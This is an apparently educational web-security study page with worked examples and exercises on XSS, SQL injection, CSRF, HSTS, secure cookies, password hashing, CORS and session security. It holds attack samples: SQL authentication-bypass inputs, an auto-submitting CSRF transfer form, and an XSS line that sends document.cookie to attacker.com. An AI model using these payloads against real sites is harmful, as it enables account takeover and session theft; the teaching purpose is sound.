PadhaikoAll subjects

Web Application Security

Web Application Programming (ENCT 302)

Open in the Padhaiko app

5.1 Common vulnerabilities: XSS, SQL injection, CSRF

Web application security requires defending systems against malicious exploits that compromise data confidentiality, integrity, and availability. The OWASP (Open Web Application Security Project) Top 10 identifies the most critical security risks facing modern web architectures.

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) occurs when a web application accepts untrusted user input and includes it in a web page delivered to other users without sufficient validation or context-aware output encoding. This allows an attacker to execute arbitrary client-side JavaScript within the victim's browser session.

Definition

Three Classifications of XSS

  1. Stored (Persistent) XSS: The injected malicious script is permanently stored on the server's database or filesystem (e.g., inside forum posts, student profiles, or user comments). Whenever any victim navigates to the compromised page, the server retrieves the payload and transmits it, executing the script in the victim's browser context.
  2. Reflected (Non-Persistent) XSS: The malicious payload is embedded inside an HTTP request (such as a URL query parameter or form field) and immediately reflected back in the server's immediate HTML response (e.g., search results: Search results for: <script>...</script>). The attacker tricks the victim into clicking a crafted hyperlink.
  3. DOM-based XSS: The vulnerability exists purely within client-side JavaScript code. The attack payload is read from a DOM source (such as location.hash or location.search) and written directly into an unsafe DOM sink (such as element.innerHTML, document.write(), or eval()) without server involvement.

Consequences of XSS

XSS Defenses

SQL Injection (SQLi)

SQL Injection occurs when untrusted user input is directly concatenated into dynamic SQL queries without syntactic separation between user data and database instructions.

SQL
-- Vulnerable dynamic SQL query string construction
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';

If an application accepts input and concatenates it directly: query = "SELECT * FROM users WHERE username = '" + input_user + "' AND password = '" + input_pass + "';" An attacker submitting admin' -- or ' OR '1'='1 forces the boolean predicate to evaluate to TRUE, bypassing password authentication entirely and gaining administrative access.

Types of SQL Injection

SQLi Defenses

Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery is an exploit where an attacker tricks an authenticated user's browser into transmitting unauthorized state-changing HTTP requests to a target website where the victim has an active session.

HTML
<!-- Malicious hidden form hosted on attacker-domain.com -->
<form id="csrfForm" action="https://bank.tu.edu.np/api/v1/transfer" method="POST">
  <input type="hidden" name="recipient" value="attacker_account_99">
  <input type="hidden" name="amount" value="50000">
</form>
<script>
  document.getElementById('csrfForm').submit();
</script>

When a student visits attacker-domain.com, the script executes automatically. Because the student's browser holds valid session cookies for bank.tu.edu.np, the browser automatically attaches those cookies to the cross-site POST request. The bank server processes the transfer as authentic.

CSRF Defenses


5.2 Security best practices: Input validation, sanitization, https, secure cookies, env variables

A defense-in-depth security strategy combines multiple protective layers across data ingestion, transport, and runtime configuration.

Input Validation and Sanitization

AspectAllow-List (Whitelisting)Block-List (Blacklisting)
Strategy ConceptDefine an explicit pattern of what is permitted; reject everything elseDefine known bad patterns to reject; accept everything else
Security RigorExtremely high: Protects against unknown or novel attack vectorsFragile & Weak: Attackers easily bypass checks using character encoding or obfuscation
ImplementationStrict regex matching (e.g., ^[a-zA-Z0-9_]{3,20}\Z for usernames)Removing words like script or SELECT, easily defeated by <scr<script>ipt>
Industry RecommendationStandard mandatory best practice across all input endpointsDeprecated and strongly discouraged

Transport Layer Security (HTTPS) and HSTS

All modern web communication must occur over encrypted HTTPS (TLS 1.3) to prevent eavesdropping and Man-in-the-Middle (MitM) attacks.

HTTP Strict Transport Security (HSTS)

To prevent SSL-Stripping attacks (where an adversary on public Wi-Fi intercepts an initial unencrypted HTTP connection before redirecting to HTTPS), servers declare the Strict-Transport-Security response header: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload This instructs the browser to cache an immutable rule: all future connections to this domain and all subdomains must execute exclusively over HTTPS for the next 31,536,000 seconds (1 year), refusing to connect if any certificate error occurs.

Secure Cookie Configuration

Production web applications must lock down session and authentication cookies using four standardized security attributes:

Mandatory Production Cookie Security Attributes
Cookie AttributeDirective ValueThreat Mitigated
HttpOnlyHttpOnlyNeutralizes session hijacking via XSS by blocking JavaScript access via document.cookie
SecureSecureMitigates eavesdropping by forcing transmission exclusively over encrypted HTTPS sockets
SameSiteSameSite=Lax or SameSite=StrictMitigates CSRF by blocking automatic cookie transmission on cross-origin requests
Path & DomainPath=/; Domain=tu.edu.npRestricts cookie visibility scope to authorized subdomain and URL paths

Environment Variables and Secrets Management

Modern applications follow the Twelve-Factor App methodology, separating software code from deployment configuration:


5.3 Authentication practices and token handling

Authentication establishes and verifies the identity of users and external services interacting with a web application.

Cryptographic Password Hashing

Passwords must never be stored in plaintext or encrypted with two-way symmetric encryption (where a stolen key decrypts all passwords). Instead, passwords must be transformed using one-way cryptographic hash functions.

Password Storage Algorithms Comparison
Algorithm FamilyExamplesSuitability for PasswordsReason
Fast Cryptographic HashesMD5, SHA-1, SHA-256, SHA-512Completely Unsuitable / BrokenDesigned for fast file checksums; modern GPUs compute billions of hashes per second, enabling rapid brute-force cracking
Adaptive Key Derivation Functionsbcrypt, PBKDF2, Argon2idIndustry StandardDeliberately slow and computationally expensive; features tunable work factors and built-in salts

Crucial Concepts in Password Hashing

  1. Cryptographic Salt: A unique, unpredictable, cryptographically secure random byte string (minimum 16 bytes) generated per user and concatenated with the password before hashing. Salts defeat Rainbow Table attacks (precomputed tables of millions of reversed hash values) and ensure identical passwords produce completely different hash outputs.
  2. Work Factor (Cost Parameter): Controls the computational complexity and iteration count required to calculate a single hash. As hardware capabilities improve over time, administrators increment the cost factor without altering password structures.
  3. Argon2id: Winner of the international Password Hashing Competition. It provides superior resistance against both GPU-accelerated brute forcing and specialized ASIC hardware attacks by enforcing high memory hardness alongside CPU iterations.

Secure Token Handling and Lifecycle Management

When deploying stateless JSON Web Tokens (JWT) for authentication, architectures must enforce strict security guidelines:


5.4 Security in full-stack apps: CORS, safe sessions

Securing full-stack web applications requires mastering cross-origin boundaries and session lifecycle controls.

The Same-Origin Policy (SOP)

The Same-Origin Policy is the cornerstone of client-side browser security. It dictates that scripts executing in one origin are prohibited from accessing or reading resources, cookies, or the DOM of a different origin.

Definition

Definition of an Origin

An Origin is defined by the exact three-tuple combination of: Origin = Protocol (Scheme) + Hostname (Domain) + Port Two URLs share the same origin if and only if all three components are identical:

Cross-Origin Resource Sharing (CORS)

Modern single-page applications frequently run on a client origin (e.g., https://portal.tu.edu.np) and query an API hosted on a separate backend origin (e.g., https://api.tu.edu.np). Under the default Same-Origin Policy, the browser blocks the frontend from reading API responses.

CORS is an HTTP-header-based mechanism that allows a server to explicitly declare which external origins are permitted to access its resources.

CORS Preflight Requests (OPTIONS)

When a cross-origin request contains non-simple HTTP verbs (PUT, DELETE, PATCH) or custom headers (Authorization, Content-Type: application/json), the browser automatically dispatches an initial Preflight Request using the OPTIONS verb before executing the actual request:

CORS Preflight Handshake CycleText
  [ Client Browser: https://portal.tu.edu.np ]          [ API Server: https://api.tu.edu.np ]
                         |                                              |
                         | 1. Preflight Request:                        |
                         |    OPTIONS /api/v1/grades                    |
                         |    Origin: https://portal.tu.edu.np          |
                         |    Access-Control-Request-Method: PUT        |
                         |    Access-Control-Request-Headers: Content-Type, Authorization
                         |--------------------------------------------->| Inspects Origin
                         |                                              | Verifies permissions
                         | 2. Preflight Response:                       |
                         |    HTTP/1.1 204 No Content                   |
                         |    Access-Control-Allow-Origin: https://portal.tu.edu.np
                         |    Access-Control-Allow-Methods: GET, PUT, POST, DELETE
                         |    Access-Control-Allow-Headers: Content-Type, Authorization
                         |    Access-Control-Max-Age: 86400 (cache 24h) |
                         |<---------------------------------------------|
                         |
  [ Browser validates headers ]
                         |
                         | 3. Actual Request:                           |
                         |    PUT /api/v1/grades                        |
                         |    Origin: https://portal.tu.edu.np          |
                         |    Authorization: Bearer <jwt>               |
                         |--------------------------------------------->| Executes Update
                         | 4. Actual Response: HTTP 200 OK              | Returns JSON
                         |<---------------------------------------------|

Key CORS Headers:

Safe Session Lifecycle Controls

To maintain session integrity across the user lifecycle, backends must implement defense mechanisms against session exploits:

  1. Session Fixation Prevention: An attack where an adversary obtains a valid session identifier, forces a victim's browser into using it (e.g., via a crafted link), and waits for the victim to authenticate. Once logged in, the attacker uses the known session ID to access the account.
    • Mitigation: The backend must regenerate a new Session ID immediately upon every successful user login (in Django: request.session.cycle_key()), invalidating the pre-login identifier.
  2. Session Hijacking Mitigation: In addition to HttpOnly and Secure cookie attributes, backends bind user sessions to client fingerprints:
    • Comparing client IP subnet and User-Agent string between requests; if a radical shift occurs, prompt for re-authentication.
    • Enforcing idle timeouts (e.g., automatically terminating sessions after 15 minutes of inactivity).
  3. Concurrent Session Management: Enforcing policies that limit a user account to one active desktop session and one mobile session, invalidating older session keys when a new login occurs.

Worked Examples

Example

Password Hashing Brute-Force Cracking Time Calculation

A security team evaluates password storage configurations. An attacker possesses a dedicated GPU cluster capable of executing 1,000,000,000 (1 billion = 10^9) hash calculations per second for standard SHA-256.

  1. If an organization naively stores passwords using raw unsalted SHA-256, calculate how many candidate passwords the attacker's GPU cluster can evaluate in 1 second.
  2. The team upgrades password storage to the bcrypt algorithm configured with a cost factor (work factor) of 12. On the same hardware, calculating a single bcrypt hash with cost factor 12 takes 4 milliseconds (meaning the system can calculate 250 bcrypt hashes per second). Calculate the slowdown factor achieved by switching from SHA-256 to bcrypt cost 12.
  3. For a password keyspace of 10^12 possible combinations, calculate the time in seconds required for the attacker to exhaustively brute-force the keyspace under raw SHA-256 versus bcrypt cost 12.

Evaluate SHA-256 Hash Throughput: Attacker GPU throughput for SHA-256 = 1,000,000,000 hashes per second (10^9 hashes/sec). In 1 second, the attacker evaluates exactly 1 billion password guesses.

Calculate bcrypt Slowdown Factor: Throughput for bcrypt (cost 12): Time per hash = 4 ms = 0.004 seconds. Hashes per second = 1 / 0.004 = 250 hashes/sec.

Slowdown Factor = (SHA-256 Hashes/sec) / (bcrypt Hashes/sec) Slowdown Factor = 1,000,000,000 / 250 = 4,000,000. bcrypt slows down the attacker by a factor of exactly 4,000,000 (4 million times slower).

Calculate Brute-Force Exhaustion Time for 10^12 Keyspace: Total keyspace = 10^12 combinations.

Under SHA-256: Time = 10^12 / 10^9 = 1,000 seconds (approximately 16.67 minutes). An attacker cracks the password in under 17 minutes!

Under bcrypt (cost 12): Time = 10^12 / 250 = 4,000,000,000 seconds. In hours: 4,000,000,000 / 3600 = 1,111,111.11 hours. In years: 4,000,000,000 / (365.25 * 86,400) = 126.75 years.

Answer:
  1. Under raw SHA-256, the attacker tests 1,000,000,000 guesses per second.
  2. bcrypt cost 12 slows the attacker by a factor of 4,000,000.
  3. For a 10^12 keyspace, raw SHA-256 is cracked in 1,000 seconds (16.67 minutes), whereas bcrypt cost 12 requires 4,000,000,000 seconds (approximately 126.75 years), rendering offline brute-force attacks computationally infeasible.
Example

SQL Injection Vulnerability Analysis and Parameterized Remediation

Analyze the following Python database routine in an engineering exam portal:

Python
def authenticate_student(cursor, roll_number, password):
    sql = "SELECT id, full_name FROM students WHERE roll = '" + roll_number + "' AND pass = '" + password + "';"
    cursor.execute(sql)
    return cursor.fetchone()
  1. Demonstrate an exploit input for roll_number that bypasses authentication without knowing the student's password.
  2. Explain the step-by-step mechanism by which the SQL engine parses the injected instruction.
  3. Rewrite the function using parameterized prepared statements and explain why parameterization eliminates the vulnerability completely.

Craft the Injection Payload: Attacker submits: roll_number = PUL078BCT001' -- password = arbitrary_dummy_text

Mechanism of the Exploit: String concatenation yields the following query string dispatched to the database engine:

SQL
SELECT id, full_name FROM students WHERE roll = 'PUL078BCT001' --' AND pass = 'arbitrary_dummy_text';

In SQL syntax:

  • The single quote ' closes the string literal for the roll attribute.
  • The double-dash -- signifies an inline SQL comment.
  • The database parser completely ignores the remainder of the query line (AND pass = '...').
  • The query executes as: SELECT id, full_name FROM students WHERE roll = 'PUL078BCT001';.

Because the roll number exists, the database returns the student's record, authenticating the attacker with full student privileges without password verification.

Remediation via Parameterized Queries:

Python
def authenticate_student(cursor, roll_number, password):
    # Use database driver parameter placeholders (%s in PostgreSQL/MySQL or ? in SQLite)
    sql = "SELECT id, full_name FROM students WHERE roll = %s AND pass = %s;"
    cursor.execute(sql, (roll_number, password))
    return cursor.fetchone()

When using prepared statements, the database engine compiles and parses the structural SQL abstract syntax tree (AST) before binding user parameters. The parameter PUL078BCT001' -- is treated exclusively as a literal string value for comparison. The single quote and double-dash carry zero syntactic meaning, rendering SQL injection impossible.

Answer:

The payload PUL078BCT001' -- truncates the query via SQL comments, bypassing password validation. Parameterized queries (cursor.execute(sql, (roll, pass))) resolve the vulnerability because the database compiles the query syntax first and treats parameters strictly as literal data values.

Example

CORS Preflight Handshake Evaluation

A student frontend hosted on https://student.pcampus.edu.np issues a cross-origin API call: PUT https://api.tu.edu.np/v1/students/profile Request Headers: Authorization: Bearer <jwt-token> Content-Type: application/json

  1. Explain why the browser mandates a CORS Preflight handshake before dispatching this PUT request.
  2. Formulate the exact HTTP OPTIONS request message transmitted by the browser.
  3. Formulate the required HTTP 204 response headers that api.tu.edu.np must return to permit the browser to proceed with the actual PUT request.

Why Preflight is Mandated: The request is not a "Simple Request" under W3C/WHATWG CORS specifications because:

  • The HTTP method is PUT (only GET, HEAD, and POST can be simple requests).
  • It transmits a custom Authorization header.
  • The Content-Type is application/json (simple requests only permit application/x-www-form-urlencoded, multipart/form-data, or text/plain).

The browser must dispatch an OPTIONS preflight request to verify that the server explicitly permits cross-origin PUT modifications and custom Authorization headers.

Preflight OPTIONS Request:

Text
OPTIONS /v1/students/profile HTTP/1.1
Host: api.tu.edu.np
Origin: https://student.pcampus.edu.np
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Authorization, Content-Type

Server Preflight Response Headers:

Text
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://student.pcampus.edu.np
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Authorization, Content-Type
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 86400

Access-Control-Max-Age: 86400 allows the browser to cache this preflight approval for 86,400 seconds (24 hours), sparing subsequent PUT requests from repeated preflight latency.

Answer:

Preflight is mandated because PUT is a non-simple verb and custom Authorization/Content-Type headers are present. The browser sends an OPTIONS request declaring Origin, Access-Control-Request-Method, and Access-Control-Request-Headers. The server returns HTTP 204 with matching Access-Control-Allow-Origin, Access-Control-Allow-Methods, Access-Control-Allow-Headers, and Access-Control-Max-Age.


Exercises

Practice Exercises — Web Application Security

Question 1

Differentiate among Stored XSS, Reflected XSS, and DOM-based XSS. Describe an attack scenario for each and identify the primary defense mechanisms to prevent XSS across a web application.

Definitions and Attack Scenarios:

  1. Stored XSS: Malicious script is permanently stored in the server database. Scenario: An attacker submits a profile bio containing <script>fetch('http://attacker.com/steal?c=' + document.cookie)</script>. Whenever any user or administrator views that profile, the script executes automatically in their browser.
  2. Reflected XSS: Malicious script is transmitted inside an HTTP request (URL query parameter) and immediately reflected in the response HTML. Scenario: An attacker sends a phishing link: https://site.com/search?q=<script>...</script>. Clicking the link runs the script in the context of the vulnerable site.
  3. DOM-based XSS: Vulnerability occurs entirely in client-side script execution without server modification. Scenario: A script reads const tab = location.hash.substring(1); and executes document.getElementById('content').innerHTML = tab;. An attacker provides a URL ending in #<img src=x onerror=alert(1)>.

Primary Defense Mechanisms:

  • Context-aware HTML entity encoding (&lt;, &gt;, &quot;).
  • Avoiding dangerous DOM sinks (innerHTML, eval); using safe DOM APIs (textContent, createElement).
  • Implementing a strict Content-Security-Policy (CSP) that disallows unsafe-inline scripts.
  • Marking sensitive session cookies with the HttpOnly flag to prevent JavaScript theft.
Answer:

Stored XSS persists in the database; Reflected XSS echoes via request parameters in server responses; DOM-based XSS executes entirely client-side via unsafe DOM manipulation. Defenses include context-aware entity encoding, safe DOM APIs (textContent), strict Content-Security-Policy (CSP), and HttpOnly session cookies.

Question 2

Explain how SQL Injection operates and distinguish between In-Band, Inferential (Blind), and Out-of-Band SQL injection. Why do parameterized queries provide complete immunity against SQL injection?

Operation of SQL Injection: SQLi occurs when user input is dynamically concatenated into SQL command strings, allowing attackers to manipulate query syntax using single quotes, boolean operators (OR 1=1), and comment delimiters (--).

  • In-Band SQLi: Attacker extracts data directly within the application's normal response channel (using error messages or UNION SELECT statements).
  • Inferential (Blind) SQLi: Attacker reconstructs data without seeing errors or returned rows, observing true/false application responses (Boolean-blind) or injected database execution delays (Time-blind via pg_sleep).
  • Out-of-Band SQLi: Attacker triggers external DNS or HTTP requests from the database server to an external listener.

Why Parameterized Queries Provide Complete Immunity: Parameterized queries (prepared statements) enforce a strict architectural boundary between SQL instructions and data values. The database engine compiles the SQL query structure into an execution plan first. Parameter values supplied subsequently are treated purely as literal string/numeric constants. Even if user input contains quotes, semicolons, or SQL commands, the engine never interprets them as executable instructions.

Answer:

SQL injection occurs when untrusted input alters database command syntax. It is categorized into In-Band (direct error/union output), Inferential (Boolean/time blind inference), and Out-of-Band. Parameterized queries provide complete immunity because the database pre-compiles query structure, treating user parameters strictly as literal data.

Question 3

Why are standard hashing algorithms like MD5 and SHA-256 considered completely unsafe for password storage? Explain how salts and work factors in algorithms like bcrypt and Argon2id solve this problem.

Why Fast Hashing is Insecure for Passwords: MD5, SHA-1, and SHA-256 were designed for high-throughput data integrity checks and checksums. A modern GPU cluster can compute over 10 billion SHA-256 hashes per second. This enables attackers who obtain a password database to execute offline dictionary and brute-force cracking in minutes.

How Salt and Work Factor Resolve the Threat:

  • Cryptographic Salt: A unique random byte string generated per user and prepended to the password before hashing. Salts ensure identical passwords produce completely different hash outputs, rendering precomputed Rainbow Tables completely useless.
  • Work Factor (Cost Parameter): Algorithms like bcrypt and Argon2id are deliberately computationally slow. The cost parameter controls how many CPU iterations and memory buffers are required to compute a single hash (e.g., 250 hashes/sec instead of 10 billion/sec). This slows an attacker by millions of times, making brute-force cracking computationally impossible while remaining imperceptible to a single logging-in user (taking only a few milliseconds).
Answer:

MD5 and SHA-256 are dangerously fast, allowing GPU clusters to compute billions of guesses per second. Adaptive algorithms (bcrypt, Argon2id) use unique cryptographic salts to defeat rainbow tables and tunable work factors to slow hash calculations, making offline brute-force cracking computationally impossible.

Question 4

Define the Same-Origin Policy (SOP). Explain how Cross-Origin Resource Sharing (CORS) permits secure cross-origin communication and describe the purpose of preflight OPTIONS requests.

The Same-Origin Policy (SOP): SOP is a core browser security mechanism that restricts a web page loaded from one origin (protocol + host + port) from reading or interacting with resources, DOM elements, or fetch responses originating from a different origin.

Cross-Origin Resource Sharing (CORS) and Preflight Requests: CORS allows servers to relax SOP under controlled conditions by emitting explicit HTTP response headers:

  • Access-Control-Allow-Origin: https://client.tu.edu.np specifies which origins are permitted.
  • Access-Control-Allow-Methods and Access-Control-Allow-Headers declare allowed actions and headers.

For non-simple requests (methods like PUT, DELETE or headers like Authorization), the browser automatically sends a preflight OPTIONS request first. This asks the server for permission before executing the actual state-changing request, preventing unintended cross-origin modifications on legacy backends that do not implement CORS.

Answer:

SOP prevents scripts from one origin from reading data from another origin. CORS is an HTTP-header mechanism that allows servers to grant explicit cross-origin access. Preflight OPTIONS requests verify whether a server permits non-simple methods (PUT, DELETE) or custom headers before the browser dispatches the actual request.

Question 5

Describe the vulnerabilities of Session Fixation and Session Hijacking. Detail three specific technical defenses implemented to secure web application sessions.

Session Fixation vs. Session Hijacking:

  • Session Fixation: An attacker forces or tricks a victim into using a known Session ID (e.g., via a link containing ?sessionid=123). When the victim authenticates, the server associates the existing Session ID with the victim's account, allowing the attacker to hijack the session using the pre-shared identifier.
  • Session Hijacking: An attacker steals an existing valid Session ID (via XSS, unencrypted network sniffing on public Wi-Fi, or malware) and impersonates the authenticated victim.

Three Key Technical Defenses:

  1. Session ID Regeneration: Always regenerate the Session ID immediately upon authentication (e.g., request.session.cycle_key() in Django) and upon privilege changes, invalidating pre-login IDs and neutralizing Session Fixation.
  2. Cookie Security Attributes: Flag session cookies as HttpOnly (prevents XSS theft), Secure (transmits exclusively over encrypted HTTPS), and SameSite=Lax (mitigates CSRF).
  3. Session Fingerprinting & Timeouts: Bind session records to client fingerprints (IP subnet, User-Agent) and enforce strict idle timeouts (terminating sessions after 15 minutes of inactivity).
Answer:

Session Fixation forces a victim to use a known session ID; Session Hijacking steals an active session ID. Key defenses include regenerating session IDs immediately upon login, configuring HttpOnly, Secure, and SameSite cookie attributes, and enforcing idle session timeouts.

← Web Services and APIsWeb Application Deployment and Modern Trends →